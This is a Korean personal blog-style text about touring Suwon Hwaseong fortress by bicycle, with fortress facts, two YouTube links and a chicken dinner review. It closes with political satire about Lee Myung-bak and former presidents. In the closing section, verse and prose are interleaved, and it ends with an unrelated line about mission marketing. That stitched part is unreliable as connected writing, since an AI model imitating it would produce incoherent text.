화성의 건축 목적은 행궁을 호위하기 위한 것이었다. 화성의 둘레는 약 5.74km, 성벽의 평균 높이는 5m 정도. 화성의 사대문은 장안문, 팔달문, 창룡문, 화서문으로 모두 옹성이 있다. 그 사이에 암문을 설치했다. 서장대는 군사 지휘소 역할을 했다.
수원역을 지나 병점역쪽으로 가다가 수원천 자전거 도로로 빠졌다. 이게 자전거 도로일까 의심스러울 정도로 우스웠다. 개천을 덮어서 중간에 산책로가 끊겼다.
http://www.youtube.com/watch?v=fARsA3i7q8E
수원천을 따라 자전거를 몰았다.
http://www.youtube.com/watch?v=zYmwAWNGeio
성곽을 따라난 길을 달리면서 찍은 동영상
이것으로 두 차례에 걸친 수원 화성 관광을 끝냈다. 날이 더워 성곽 동쪽 끝에서 팔달산 꼭대기까지 도보로 돌아다니는 것은 못 했지만 화성이 생각 이상으로 좋았다. 잘 만들었고 예쁘다.
한가하게 약 네 시간 동안 관광했다. 자전거를 타고 돌아다니기에는 길이 별로 안 좋았다. 집에 돌아와 저녁으로 7500원짜리 부어치킨과 캔맥주 두 개를 먹었다. 닭맛에 일가견이 있다고 생각하는데, 소문으로만 알던 부어치킨의 가격대 성능비가 대단하다. 7500원 짜리가 무수한 12000원 짜리 통닭보다 낫다. 이제는 닭 먹고 싶으면 무조건 부어치킨이다.
경제 살린다고 하면 경제가 죽고2개의 알려진 사실로부터 3번째를 유추? 흥미로운 논리는 아니지만... 어째서 노무현과 김대중이 죽은걸까. '김대중 전대통령은 홧병으로 죽은 거야' 라고 아내에게 말하니 이명박이 전직 대통령 셋을 잡을 관상이란 말을 친구에게 들었단다. 노태우가 있었구나. 논리로선 해소할 수 없는 불가해가 일상적인 세상이 아니라서 나만 이해가 안되는 것이다.
서민 살린다고 하면 서민이 죽고
4대 강 살린다 했으니 자연도 조져 놓겟네
* 그러므로 통전적 선교가 그냥 선교에 비해 더 확실한 마케팅 방식이다.